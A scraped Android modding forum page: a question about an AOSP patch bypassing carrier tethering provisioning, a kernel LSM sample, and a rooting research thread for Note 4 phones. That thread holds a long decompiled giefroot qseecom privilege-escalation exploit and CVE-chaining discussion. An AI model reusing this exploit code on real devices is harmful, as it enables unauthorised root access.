[Q] How do I build binary compatible system apks for JRO03C?

[Q] How do I build binary compatible system apks for JRO03C? - Samsung Galaxy Nexus

Please note that this question is purely academic in nature. My phone is not broken, and all the features I need are enabled. I just want to know how to make similar changes myself (see below).
Forgive me if this is in the wrong forum. I was going to post this in the Verizon Samsung Galaxy Nexus Development forum, but the site warned me that asking questions in that forum was against the rules (OK, I won't post my question there)!
I have a "toro" (Samsung Galaxy Nexus for VzW with LTE/CDMA).
Yesterday, I repo synced my AOSP source to bring it up to date. My phone is running an almost stock "maguro" (rooted) JRO03O from https://dl.google.com/dl/android/aosp/mysid-jro03o-factory-f17426e6.tgz .
Then I sourced build/envsetup.sh and selected full_toro-user (yes, "user", not "userdebug" ) with the lunch menu.
I then made what I thought was a clever patch to packages/apps/Settings/src/com/android/settings/TetherSettings.java where I added a few constants and a boolean function called isProvisioningAllowed() that is called by a now modified boolean function isProvisioningNeeded(). Essentially, isProvisioningNeeded() now checks to see if the Android owner allows his carrier to limit tethering to provisioned users (before checking to see if the carrier requires provisioning). As you may have guessed, using my patch, the default setting is now that the carrier is not allowed by the Android owner to require provisioning from the user.
For anyone curious, here is the .diff for my patch for TetherSettings.java (Java is not a programming language that I "know", but I can figure out most of the syntax from the existing code - so I may have crappy code) :
Code:
project packages/apps/Settings/
diff --git a/src/com/android/settings/TetherSettings.java b/src/com/android/settings/TetherSettings.java
index 4a79eca..63f1526 100644
--- a/src/com/android/settings/TetherSettings.java
+++ b/src/com/android/settings/TetherSettings.java
@@ -106,6 +106,11 @@ public class TetherSettings extends SettingsPreferenceFragment
private String[] mProvisionApp;
private static final int PROVISION_REQUEST = 0;
+ /* Is carrier allowed to require provisioning for tethering */
+ private static final int CARRIER_TETHERING_PROVISIONING_ALLOWED = 0;
+ private static final int CARRIER_TETHERING_PROVISIONING_PROHIBITED = -1;
+ private int mCarrierTetheringProvisioning = CARRIER_TETHERING_PROVISIONING_PROHIBITED;
+
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
@@ -424,6 +429,36 @@ public class TetherSettings extends SettingsPreferenceFragment
return false;
}
+ boolean isProvisioningAllowed() {
+ /* returns whether Android owner allows carrier to restrict tethering to provisioned users */
+ if (mCarrierTetheringProvisioning == CARRIER_TETHERING_PROVISIONING_PROHIBITED) {
+ return false;
+ }
+ if (mCarrierTetheringProvisioning == CARRIER_TETHERING_PROVISIONING_ALLOWED) {
+ return true;
+ }
+ /* If neither of the above values match mCarrierTetheringProvisioning then assume it is prohibited by Android owner */
+ return false;
+ }
+
+ boolean isProvisioningNeeded() {
+ /* first check to see if provisioning is allowed before checking to see if it is needed */
+ if (isProvisioningAllowed()) {
+ /* provisioning is allowed, check to see if needed */
+ if (SystemProperties.getBoolean("net.tethering.noprovisioning", false)) {
+ /* provisioning is allowed, but not needed */
+ return false;
+ }
+ /* provisioning is allowed (and needed if mProvisionApp array has two values) */
+ return mProvisionApp.length == 2;
+ } else {
+ /* provisioning is not allowed, therefore it is not needed */
+ return false;
+ }
+
+/* Original (unaltered) isProvisioningNeeded() function
+
boolean isProvisioningNeeded() {
if (SystemProperties.getBoolean("net.tethering.noprovisioning", false)) {
return false;
@@ -431,6 +466,8 @@ public class TetherSettings extends SettingsPreferenceFragment
return mProvisionApp.length == 2;
}
+*/
+
private void startProvisioningIfNecessary(int choice) {
mTetherChoice = choice;
if (isProvisioningNeeded()) {
Then I built the entire tree. Next, I backed up "Settings.apk" and "Settings.odex" from my /system/app directory on my phone. Also, I remounted /system as r/w. I then dropped in the new "Settings.apk" and "Settings.odex" from my custom build, and set the owner.group to root.root (on both) and permissions to 644 (on both). I remounted /system as r/o again.
Even with a cold boot, the "Settings" menu crashes when launched (with my "Settings.apk" and "Settings.odex" in place).
I restored my backups for those two system files, and rebooted again (which fixed my Settings menu/app). I then downloaded somebody else's fixed "framework-res.apk" and deleted "SPG.apk". While this accomplishes one goal (no carrier restrictions on Google Android native tethering), it does not help me learn how to do this myself.
I want to be able to tweak the AOSP source on the fly, and produce binaries that are compatible with my ROM.
So my problem basically breaks down to the following 4 sub-questions:
1) Can anyone tell me why my customized "Settings.apk" and "Settings.odex" crash when "Settings" is launched?
2) Did I make a change that would break binary compatibility (I tried not to)?
3) Or is it because the current version of AOSP builds binaries for 4.1.2 (JZO54K) instead of for 4.1.1 (JRO03O)?
4) How do I build AOSP for an older tag anyway (like 4.1.1_r1)?

Related

[Q] root_plug

Not sure if this means anything, just throwing it out there, but i was going through file for froyo on the evo, original file name "supersonic-2.6.32.15-g746f4f0.tar" and found a file named root_plug-notepad, now i'm only guessing, but is this how they are blocking us from being able to root our device, or am i just guessing outta my arse.
on the notepad the full content is:
/*
* Root Plug sample LSM module
*
* Originally written for a Linux Journal.
*
* Copyright (C) 2002 Greg Kroah-Hartman
*
* Prevents any programs running with egid == 0 if a specific USB device
* is not present in the system. Yes, it can be gotten around, but is a
* nice starting point for people to play with, and learn the LSM
* interface.
*
* If you want to turn this into something with a semblance of security,
* you need to hook the task_* functions also.
*
* See for more information
* about this code.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation, version 2 of the
* License.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/security.h>
#include <linux/usb.h>
#include <linux/moduleparam.h>
/* default is a generic type of usb to serial converter */
static int vendor_id = 0x0557;
static int product_id = 0x2008;
module_param(vendor_id, uint, 0400);
module_param(product_id, uint, 0400);
/* should we print out debug messages */
static int debug = 0;
module_param(debug, bool, 0600);
#define MY_NAME "root_plug"
#define root_dbg(fmt, arg...) \
do { \
if (debug) \
printk(KERN_DEBUG "%s: %s: " fmt , \
MY_NAME , __func__ , \
## arg); \
} while (0)
static int rootplug_bprm_check_security (struct linux_binprm *bprm)
{
struct usb_device *dev;
root_dbg("file %s, e_uid = %d, e_gid = %d\n",
bprm->filename, bprm->cred->euid, bprm->cred->egid);
if (bprm->cred->egid == 0) {
dev = usb_find_device(vendor_id, product_id);
if (!dev) {
root_dbg("e_gid = 0, and device not found, "
"task not allowed to run...\n");
return -EPERM;
}
usb_put_dev(dev);
}
return 0;
}
static struct security_operations rootplug_security_ops = {
.bprm_check_security = rootplug_bprm_check_security,
};
static int __init rootplug_init (void)
{
/* register ourselves with the security framework */
if (register_security (&rootplug_security_ops)) {
printk (KERN_INFO
"Failure registering Root Plug module with the kernel\n");
return -EINVAL;
}
printk (KERN_INFO "Root Plug module initialized, "
"vendor_id = %4.4x, product id = %4.4x\n", vendor_id, product_id);
return 0;
}
security_initcall (rootplug_init);

nobody, nothing, someone has to have some sort of input, lol.

pubbs.net/200910/kernel/36760-patchrfc-security-remove-rootplug.html

Uncle jimmy says hello

[R&D] Rooting N910A/N910V Models

WelcomeFirst I have to ask that everyone please follow the rules when posting in here.The last thread was shut down due to people getting off topic so let's stay on track here, if you have a question that you'd like to ask and are unsure if it belongs here then simply PM me and I'll help. In order to get things going I've added a simple FAQ below for people who may not be up to speed.
Q: What's needed to root the N910A/N910V?
A: A kernel exploit and an Android OS exploit.
Q: What's the current status?
A: We have a kernel exploit that will work for us and the method to implement it. Our next goal is to apply an Android exploit which will grant us System UID in order to apply our kernel exploit and write root.
Q: What exploit are we using for the kernel side?
A. The exploit will be the work of @zxz0O0 and is based off of CVE-2014-4322. This is confirmed NOT patched by Samsung.
Q: What exploit are we using for Android side?
A. Current target is CVE-2015-1474. We've explored a previous exploit which has proven to work for the Sony Z3 (CVE-2014-7911), but unfortunately Samsung fixed this prior to releasing our devices.
Current Focus - Creating an APK that will exploit CVE-2015-1474 to elevate us to System UID. This is where we are at this current time. We will need a crafty Dev to come up with such APK. I am a novice when it comes to scripting and exploiting but in my free time I've been soaking up as much information as I possibly can to help in the future.
.
Working on PoC here:
https://github.com/p1gl3t/CVE-2015-1474_poc
Other Threads working on 2015-1474
http://forum.xda-developers.com/kin...luating-cve-2015-1474-to-escalate-to-t3045163

android-DEP said:
@ZPaul2Fresh8 confirmed that CVE-2014-4322 (qseecom) is fixed in N910AUCU1BNK3 but it might not be in N910AUCU1ANIE.
Click to expand...
Click to collapse
To clarify, CVE-2014-4322 is NOT patched in ANY baseband version on our devices. CVE-2014-7911 is the patched.
munjeni said:
Its not obfuscated if you think about file called "main"! It is 7z archive but removed first 2 bytes "7z" or hex "377A", just simple open "main" file with hex editor and append 2 bytes 37 7A to the start of the file and save them! It is password protected 7z archive and you must research for password in asembly if you think to open them with 7z I stil have no idea what is purpose of these "main" file (malware?) when there is another one "main" file (tar.gz) which is extracted when you execute file "a", but I know thats a two diferent "main" files!
Click to expand...
Click to collapse
From @idler1984 , here's the explanation of the 'a' and 'main' files. HERE.
jorgasm209 said:
Not sure how to prove something that isn't there... hard to prove a negative. APK is claiming not vulnerable even with the apparent absence of checkAndGetTcObjectClass in the firmware. Someone much smarter than me can attempt to find out why My bet is on @android-DEP ... see post above regarding ServiceExploitActivity.java.
Click to expand...
Click to collapse
It's been confirmed by me that exploit CVE-2014-7911 has been patched in the latest OTA (NK3 on AT&T) and I believe @zxz0O0 confirmed it on the earlier baseband too. If you're in doubt and you're running the earlier build, just go to system/framework/core.odex and you'll find the function is located there...
Now if you're just skimming through here let me catch everyone up to speed here;
At this point in order to achieve root for our devices we will need a combination of exploits. There are a ton of CVE's being thrown and I can see why people are getting confused so I'll try to make it easier to understand. I'll break it down by CVE #.
CVE-2014-7911 - Patched so it doesn't matter. Android OS exploit to gain System UID. Not Root
CVE-2014-8609 - Android OS exploit. Possibly our next venture for gaining System UID, I've been told otherwise. Another vulnerability exists that may be easier. CVE-2015-1474
CVE-2014-4322 - Kernel exploit. Un-patched. Used to get Root while in System status.
So we need an exploit to get us System status and from there we pretty much have CVE-2014-4322 exploit to get Root from there.
Now, you may have read about Root solutions such as geifroot & 2014-79xx but forget about them because they are all based on Team Keen's exploit of CVE-2014-7911 which we confirmed has been backported and patched from day 1 on our devices. So in order to proceed we need a new exploit to get System status first... that vulnerability may be 2015-1474....

ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.

zxz0O0 said:
ZPaul2Fresh8, thanks for this write up. Finally someone who has understood the situation. I'm not really experienced in Java but I believe CVE-2014-8609 will not be useful. This exploit is for broadcasting actions to apps (e.g. dialing), not executing shell commands or binaries.
Click to expand...
Click to collapse
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.

munjeni said:
Guys, CVE-2014-4322 root exploit from retme7 is not working, it need a lot of modifications, I am working on this 3 days and I am on 90 percent of luck, I am now stuck with this -> http://forum.xda-developers.com/showpost.php?p=58460530&postcount=1171
If you have idea for how I can change app_id than I will get it working and will share source with you!
This is decompiled source from guy who have it working and don't want to share them:
Code:
void sub_89F4(void) {
;
}
int __fastcall sub_8A78(signed int a1, int a2)
{
signed int v2; // [email protected]
FILE *v3; // [email protected]
void *v4; // [email protected]
signed int v5; // [email protected]
FILE *v6; // [email protected]
int v7; // [email protected]
char v8; // [email protected]
const char *v9; // [email protected]
_UNKNOWN *v10; // [email protected]
_UNKNOWN *v11; // [email protected]
char **v12; // [email protected]
const char *v13; // [email protected]
int result; // [email protected]
int ion_fd; // [email protected]
int v16; // [email protected]
int v17; // [email protected]
int *v18; // [email protected]
char *v19; // [email protected]
int v20; // [email protected]
int qseecom_fd; // [email protected]
int v22; // [email protected]
int v23; // [email protected]
int v24; // [email protected]
int *v25; // [email protected]
char *v26; // [email protected]
int *v27; // [email protected]
int v28; // [email protected]
int v29; // [email protected]
int v30; // [email protected]
int v31; // [email protected]
int v32; // [email protected]
int v33; // [email protected]
int v34; // [email protected]
int v35; // [email protected]
int *v36; // [email protected]
int v37; // [email protected]
int v38; // [email protected]
int v39; // [email protected]
int v40; // [email protected]
int *v41; // [email protected]
int v42; // [email protected]
int v43; // [email protected]
void *v44; // [email protected]7
int v45; // [email protected]
int v46; // [email protected]
unsigned int v47; // [email protected]
int v48; // [email protected]
int v49; // [email protected]
int v50; // [email protected]
int *v51; // [email protected]
int ptmx_fd; // [email protected]
int v53; // [email protected]
int v54; // [email protected]
int v55; // [email protected]
int v56; // [email protected]
int *v57; // [email protected]
char *v58; // [email protected]
int v59; // [sp+Ch] [bp-1F4h]@1
int memfile_fd; // [sp+Ch] [bp-1F4h]@26
void *ion_void; // [sp+14h] [bp-1ECh]@26
int v62; // [sp+18h] [bp-1E8h]@24
int v63; // [sp+1Ch] [bp-1E4h]@38
int v64; // [sp+20h] [bp-1E0h]@38
int v65; // [sp+24h] [bp-1DCh]@38
int v66; // [sp+28h] [bp-1D8h]@38
int v67; // [sp+2Ch] [bp-1D4h]@22
int v68; // [sp+30h] [bp-1D0h]@22
int v69; // [sp+34h] [bp-1CCh]@22
int v70; // [sp+38h] [bp-1C8h]@22
int v71; // [sp+3Ch] [bp-1C4h]@24
unsigned int v72; // [sp+40h] [bp-1C0h]@41
int v73; // [sp+44h] [bp-1BCh]@41
int v74; // [sp+48h] [bp-1B8h]@41
int v75; // [sp+4Ch] [bp-1B4h]@41
int v76; // [sp+50h] [bp-1B0h]@41
unsigned int v77; // [sp+54h] [bp-1ACh]@41
int v78; // [sp+58h] [bp-1A8h]@41
int v79; // [sp+5Ch] [bp-1A4h]@41
int v80; // [sp+60h] [bp-1A0h]@41
int v81; // [sp+64h] [bp-19Ch]@41
int v82; // [sp+68h] [bp-198h]@41
int v83; // [sp+6Ch] [bp-194h]@41
char v84; // [sp+70h] [bp-190h]@4
char v85[4]; // [sp+90h] [bp-170h]@29
int v86; // [sp+94h] [bp-16Ch]@29
int v87; // [sp+98h] [bp-168h]@29
char v88; // [sp+9Ch] [bp-164h]@29
int v89; // [sp+A0h] [bp-160h]@30
int v90; // [sp+A4h] [bp-15Ch]@30
int v91; // [sp+A8h] [bp-158h]@30
int v92; // [sp+ACh] [bp-154h]@30
int v93; // [sp+B0h] [bp-150h]@30
int v94; // [sp+B4h] [bp-14Ch]@30
int v95; // [sp+B8h] [bp-148h]@30
int v96; // [sp+BCh] [bp-144h]@30
int v97; // [sp+C0h] [bp-140h]@30
int v98; // [sp+C4h] [bp-13Ch]@30
int v99; // [sp+C8h] [bp-138h]@30
int v100; // [sp+CCh] [bp-134h]@30
char v101; // [sp+D4h] [bp-12Ch]@1
int v102; // [sp+1D4h] [bp-2Ch]@1
char v103; // [sp+1D8h] [bp-28h]@4
v2 = a1;
v102 = _stack_chk_guard;
v59 = a2;
puts("giefroot (c) zxz0O0");
v3 = fopen("/proc/version", "r");
fread(&v101, 0x100u, 1u, v3);
fclose(v3);
v4 = malloc(0x100u);
v5 = 30;
v6 = fopen("/system/build.prop", "r");
do
{
while ( 1 )
{
fgets((char *)v4, 256, v6);
v7 = strncmp((const char *)v4, "ro.product.device=", 0x12u);
v8 = v7;
if ( !v7 )
break;
--v5;
if ( !v5 )
goto LABEL_5;
}
strcpy(&v84, (const char *)v4 + 18);
--v5;
*(&v103 + strlen(&v84) - 361) = v8;
}
while ( v5 );
LABEL_5:
fclose(v6);
free(v4);
v9 = supported_kernel[0];
if ( supported_kernel[0] )
{
v10 = &unk_D014;
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
do
{
if ( !strcmp(v9, &v101) && (!v12 || !strcmp((const char *)*((int *)v10 - 4), &v84)) )
{
v12 = &supported_kernel[5 * v5];
unk_D0A4 = &supported_kernel[5 * v5];
}
v13 = *(const char **)v10;
v10 = (char *)v10 + 20;
v9 = v13;
++v5;
}
while ( v13 );
}
else
{
v11 = &unk_D0A4;
v12 = (char **)unk_D0A4;
}
if ( v12 )
{
v12 = (char **)1;
}
else
{
puts("Error: Kernel not supported");
printf("Device: %s, Kernel: %s\n", &v84, &v101);
*(int *)v11 = supported_kernel;
}
if ( v2 > 1 && !strcmp(*(const char **)(v59 + 4), "-s") )
{
result = (unsigned int)v12 ^ 1;
goto error;
}
ion_fd = open("/dev/ion", 0);
if ( ion_fd < 0 )
puts("Error opening ion device");
v67 = 256;
v68 = 4;
v69 = 134217728;
v70 = 1;
sub_89F4();
v16 = ioctl(ion_fd, ION_IOC_ALLOC, &v67);
if ( v16 )
{
v25 = (int *)((int (*)(void))_errno)();
v26 = strerror(*v25);
printf("Error ioctl: %d / %s\n", v16, v26);
}
else
{
sub_89F4();
}
v62 = v71;
v17 = ioctl(ion_fd, ION_IOC_SHARE, &v62);
if ( v17 )
{
v18 = (int *)((int (*)(void))_errno)();
v19 = strerror(*v18);
printf("Error ioctl: %d / %s\n", v17, v19);
}
else
{
sub_89F4();
}
sub_89F4();
ion_void = (void *)mmap(0, 256, 7, 1);
memset(ion_void, 255, 0x100u);
memfile_fd = open("/data/local/tmp/memfile", 2);
if ( memfile_fd < 0 )
sub_89F4();
v20 = mmap(0, 2113929216, 7, 1);
if ( v20 == -1 )
puts("mmap shared_buf failed");
qseecom_fd = open("/dev/qseecom", 0);
if ( qseccom_fd < 0 )
{
puts("Error opening qseecom");
getting_root:
close(memfile_fd);
close(ion_fd);
close(qseccom_fd);
puts("getting root...");
ptmx_fd = open("/dev/ptmx", 0);
fsync(ptmx_fd, v53);
v54 = close(ptmx_fd);
v55 = getuid(v54);
v56 = printf("getuid: %d\n", v55);
if ( getuid(v56) )
{
puts("Error getting root");
result = 1;
}
else
{
system("/data/local/tmp/systemrw.sh");
system("/data/local/tmp/installsupersu.sh");
result = 0;
}
goto error;
}
sub_89F4();
*(int *)v85 = 1769437812;
v86 = 1769366884;
v87 = 25966;
memset(&v88, 0, 0x14u);
while ( 1 )
{
while ( 1 )
{
v93 = *(int *)v85;
v94 = v86;
v95 = v87;
v96 = *(int *)&v88;
v97 = v89;
v98 = v90;
v99 = v91;
v100 = v92;
v22 = ioctl(qseecom_fd, QSEECOM_IOCTL_APP_LOADED_QUERY_REQ, &v93);
if ( v22 )
{
v27 = (int *)_errno(v22, v23, v24);
strerror(*v27);
sub_89F4();
goto obtain_qseecom_mem;
}
sub_89F4();
puts("query failed. trying another app...");
if ( strcmp(v85, "tzwidevine") )
break;
strcpy(v85, "keymaster");
}
if ( strcmp(v85, "keymaster") )
break;
strcpy(v85, "tzsuntory");
}
if ( !strcmp(v85, "tzsuntory") )
{
puts("Error querying app");
goto getting_root;
}
obtain_qseecom_mem:
v64 = v63;
v65 = v20;
v66 = 2113929216;
v28 = ioctl(qseecom_fd, QSEECOM_IOCTL_SET_MEM_PARAM_REQ, &v64);
v31 = v28;
if ( v28 )
{
v57 = (int *)_errno(v28, v29, v30);
v58 = strerror(*v57);
printf("Error ioctl QSEECOM_IOCTL_SET_MEM_PARAM_REQ: %d / %s\n", v31, v58);
}
else
{
sub_89F4();
}
munmap(v20, 2113929216);
v32 = mmap(v20, 4096, 7, 50);
if ( v32 == -1 )
puts("Error allocating shared buf again");
memset((void *)v32, 255, 0x1000u);
v77 = 0;
v79 = 0;
v78 = 0;
v81 = 0;
v80 = 0;
v83 = 0;
v82 = 0;
v73 = 2113921024;
v74 = v32 + 80;
v75 = 4096;
v76 = v63;
v72 = v32;
puts("getting ptr");
v33 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v33 )
{
v36 = (int *)_errno(v33, v34, v35);
strerror(*v36);
sub_89F4();
}
else
{
sub_89F4();
}
munmap(v32, 4096);
sub_89F4();
v37 = mmap(v20, 524288, 7, 49);
if ( v37 != -1 )
{
sub_89F4();
memset((void *)v37, 255, 0x80000u);
v72 = v32 + ((unsigned int)(v37 + 979369984) >> 1);
v77 = (unsigned int)(v37 + 979369984) >> 1;
puts("getting offset");
v38 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v38 )
{
v41 = (int *)_errno(v38, v39, v40);
strerror(*v41);
sub_89F4();
}
else
{
sub_89F4();
}
v42 = sub_8A00(v37, 524288);
munmap(v37, 524288);
v43 = mmap(*(int *)ion_void, 1024, 7, 49);
if ( v43 == -1 )
{
puts("Error: Could not allocate memory for exploit code");
}
else
{
v44 = (void *)v43;
sub_89F4();
memcpy(v44, sub_8994, 0x400u);
munmap(ion_void, 4096);
v45 = (int)((char *)v44 + 64);
do
{
while ( 1 )
{
v46 = *(int *)v44;
v44 = (char *)v44 + 4;
if ( v46 == -1091584273 )
break;
if ( v44 == (void *)v45 )
goto exploit_qseecom;
}
*((int *)v44 - 1) = sub_89A4;
}
while ( v44 != (void *)v45 );
exploit_qseecom:
v47 = v32 + ((unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1);
v77 = (unsigned int)(v37 + *(int *)(*(int *)v11 + 8) + 979370040 - v42) >> 1;
v72 = v47;
puts("exploiting");
v48 = ioctl(qseecom_fd, QSEECOM_IOCTL_SEND_MODFD_CMD_REQ, &v72);
if ( v48 )
{
v51 = (int *)_errno(v48, v49, v50);
strerror(*v51);
sub_89F4();
}
else
{
sub_89F4();
}
}
goto getting_root;
}
puts("Error allocating testmem");
result = 1;
error:
if ( v102 != _stack_chk_guard )
_stack_chk_fail(result);
return result;
}
I am tried to construct but sorry I am not skilled in reverse enginering. If you understand than try to construct right function from that and share it here!
Click to expand...
Click to collapse
Making CVE-2014-4322 a universal one would be quite challenging since it provides write-anywhere without read. It is almost impossible to avoid hard coded offsets. It would be great if there is another read and write anywhere flaw which requires system priv.

ZPaul2Fresh8 said:
I understand, but what are the possible Broadcasts at our disposal? Whatever broadcast we send will be of System UID so maybe we can find something if we look hard enough?
I have Liang Chen (Team Keen (http://en.wikipedia.org/wiki/Pwn2Own#Contest_2014)) looking into CVE-2014-8609 to see if we can achieve System UID.
Click to expand...
Click to collapse
Okay I decided to try to invoke the android terminal intent to open a new terminal window as a system user. it doesn't work for me but other people on preOTA may be able to get it to work. I disabled the factory reset crap so don't worry about accidently factory resetting your device (like I did to my tablet before I disabled them). You will need to install the android terminal emulator app from the play store prior to opening this app and clicking the button. if you get a terminal window open type whoami and post a screenshot please. If not a simple post saying it doesn't work is fine.
Sent from my SAMSUNG-SM-N910A using Tapatalk

This one looking good https://android.googlesource.com/pl...5d3e74ecc2b973941d8adbe40c6b23094b5abb7^!/#F0
You can decompile settings.apk and search in src/com/android/settings/accounts/AddAccountSettings.smali to see if it is patched or not.

Hey I know it's already been stated but I wanted to confirm for myself. Confirmed... The string "checkAndGetTcObjectClass" exists in system.img.ext4 from NI1 that i pulled off of sammobile.com http://www.sammobile.com/firmwares/download/38838/N910VVRU1ANI1_N910VVZW1ANI1_VZW.zip/. Screenshot below.
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}

Hi, I have implemented terminal emulator internaly into CVE-2014-8609.apk but from some unknown reasons it fail to start when I press "open terminal" button, I have spent 2 hours with this and I am lazy to debug more, sorry, try to decompile mine apk and fix it! Interesting thing I can start internal terminal emulator by command: "am start -n com.example.android.samplesync/jackpal.androidterm.Term", but clicking on button it no want to start

munjeni said:
I don't know, I stil receiving sms, only unable to get terminal emulator on button click
Click to expand...
Click to collapse
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk

stvn1337 said:
I don't understand it. I'm passing the intent the same way the sms intent and format interested t is passed back to the pending intent. It's just not working. I'm trying to make a service to hand it off to withing the app so that once it's intent is hit I can keep it alive in the background service, and then pull it back into the foreground to use it. In theory this should work even though the originating pending intent is killed shortly after the button press.
Sent from my SAMSUNG-SM-N910A using Tapatalk
Click to expand...
Click to collapse
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.

munjeni said:
Yes strange, when I click on "open terminal" it open settings, another clicks doing nothing until I kill app and lunch again, strange. Maybe we need to look into terminal emulator for this? I have no time now, but you can try to open another app?
It open com.google.android.c2dm.intent sucesfully but no terminal emulator, I don't know why.
Click to expand...
Click to collapse
Your correct, I wonder if terminal emulator has been patched to prevent the broadAnywhere bug from launching it? If so then we need to find another terminal emulator that allows broadAnywhere to launch it with intents. Unless someone has time to search the terminal emulators source to figure out how it's been patched to prevent it..
Sent from my SAMSUNG-SM-N910A using Tapatalk

Maxninja said:
I did some research and googled the CVE-2014-4322 exploit and I stumbled on a forum for the Sony Xperia for them to achieve root with that exploit - http://forum.xda-developers.com/showthread.php?t=3011598
I don't know if it's useful but I hope it will help somewhere in the process for our phone to be rooted with the same exploit.
Click to expand...
Click to collapse
Yeah that was covered 50+ pages ago. That's the kernel side of it, we know that will work but first we have to get through the Android side first. That's what 1474 should do for us.
@soupmeister Yes. This is the best place.

windstrings said:
This brings the next question.. An educated guess as to whether this will work with lollipop?
Click to expand...
Click to collapse
I would be curious about this also, but only after root is out for pre-Lollipop. The description says through 5.0, which sounds to me like 5.0 is vulnerable but who knows if 5.0.1 or 5.0.2 is. Also Samsung, as we've seen recently with the root that works on other phones using those two CVEs not working on our phones, will backport fixes. I don't know how much Samsung is still tweaking their Lollipop update, but since this seems like a small fix, my money would be on it being fixed in the Samsung Lollipop update.
Btw I've been trying to upload the contents of system.img.ext4 from the AT&T and Verizon tar md5 files to Google Drive for easy reference but it keeps timing out and I don't want to post something missing random files. I'll try with a specialized uploader tool later.
Also CVE-2015-1474 was updated on the 17th to say that it's network exploitable(!) and I guess they gave it a 10.0 score, the highest! This seems to be more serious than that last "worst android bug ever" recently used for root in the last year.
I sure hope whatever tool that gives root that comes out also applies a fix for this. I wouldn't want to walk around with it if I could help it.

So after a bunch of useless posts basically asking to confirm this or thanking that..at least we can count on qcom to brighten our day...
https://www.codeaurora.org/projects...le-camera-drivers-cve-2014-4321-cve-2014-4324
Qcom camera FTW

Just a little further reading for some:
http://www.cvedetails.com/cve/CVE-2015-1474/

jcase said:
Would still require 1 or 2 additional vulns to exploit. Not so easy to get camera group in modern Android
Click to expand...
Click to collapse
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.

jasonstackhouse said:
Correct me if I am wrong but camera group should actually be rather easy to take advantage of especially in modern Android. In June this last year the play store rolled out an update that groups all applications for security permissions, so in theory, any app in this group can be used to exploit the vulnerability found. Which means all apps that take picture or record audio are on the table as they are all lumped in together with the camera group.
Basic example of what apps like this can do now that they are grouped.
Camera/Microphone: An app that has permission to take pictures and videos (for example, a camera app) can now gain the permission to record audio. The app could listen to you when you use other apps or when your device’s screen is off.
If this is true than someone much smarter than me should have a lot to fool around with.
Click to expand...
Click to collapse
Ok I will. These "permission groups" from the play store have nothing to do with this. We are talking about a single android permission (android.permission.CAMERA) and a single linux group ("camera').
In 5.0, and many 4.x devices (i dont think it was all, it might have been all, i just dont care to find my notes, 10hr trip to take son to Dr and back, just got home and freaking tired) the linux group "camera" used in android was severed from the camera permission, declaring this permission does not put your user (app) into the camera group.
Simple test,
adb shell grep -A 10 -B 10 camera /system/etc/permissions/platform.xml
On blackphone (4.4.x), HTC Desire 510 (4.4.x) MotoX 2014 (5.0.x), the above command returned nothing.
One older devices, say 4.2.2 you would get teh following as the output:
<permission name="android.permission.CAMERA" >
<group gid="camera" />
</permission>
This means apps that are granded the permission, are put into the group "camera".
See:
https://android.googlesource.com/platform/frameworks/base/+/android-4.2.2_r1/data/etc/platform.xml
vs
https://android.googlesource.com/platform/frameworks/base/+/android-4.4.2_r1/data/etc/platform.xml
What does this mean? You cant directly talk to what you need to to exploit those camera vulns, you would need to exploit mediaserver, or escalate to system first (Which means squat, if you are system you have 100 ways to root that are easier than these camera bugs). Also must not forget about SEAndroid, might put a snag into it as well, but like ive said I just saw these today, and have been home for a whole 10minutes so far today.

Misterxtc said:
If it helps any this is what the adb command returned on the VZW Note4 on NJ5.
View attachment 3172812
Click to expand...
Click to collapse
Same here, AT&T NIE
C:\Users\rac1\Desktop\ADB>adb shell grep -A 10 -B 10 camera /system/etc/permissi
ons/platform.xml
<permission name="android.permission.SYSTEM_GROUP_INTERNAL" >
<group gid="system" />
</permission>
<permission name="android.permission.INTERNET" >
<group gid="inet" />
</permission>
<permission name="com.sec.android.permission.CAMERA" >
<group gid="camera" />
</permission>
<permission name="android.permission.READ_LOGS" >
<group gid="log" />
</permission>
<permission name="android.permission.READ_EXTERNAL_STORAGE" >
<group gid="sdcard_r" />
</permission>
--
<group gid="graphics" />
</permission>
<!-- Except for SysScope, DO NOT USE this permission. -->
<permission name="com.sec.android.app.sysscope.permission.ACCESS_SYSTEM_INFO
_SYSSCOPE_ONLY" >
<group gid="radio" />
</permission>
